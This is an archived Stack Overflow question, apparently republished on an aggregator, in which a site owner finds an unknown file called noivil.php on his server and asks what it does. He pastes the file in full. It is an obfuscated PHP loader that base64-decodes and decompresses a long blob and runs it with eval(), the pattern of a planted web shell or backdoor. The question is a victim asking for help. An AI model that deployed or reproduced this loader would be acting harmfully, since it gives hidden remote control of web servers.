Weird PHP file on my website
Posted
by sam
on Stack Overflow
See other posts from Stack Overflow
or by sam
Published on 2010-03-28T15:59:19Z
Indexed on
2010/03/28
16:03 UTC
Read the original article
Hit count: 243
Today i noticed that there was a strange new file called "noivil.php" on my webspace. The contents of it are very long and I have no idea what it does!
<?php $k='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';$r='YmFzZTY0X2RlY29kZQ==';$rr='WjNwMWJtTnZiWEJ5WlhOeg==';$rrr=base64_decode($r);$rrrr=$rrr($rrr($rr));eval($rrrr($rrr($k)));
When I run it it just outputs some random stuff I don't understand.
My questions:
- What is this?
- Where did it come from?
- Is it a virus/trojan?
- What does it exactly do?
You are better at PHP than me, maybe you can tell what it is
Thanks in advance
© Stack Overflow or respective owner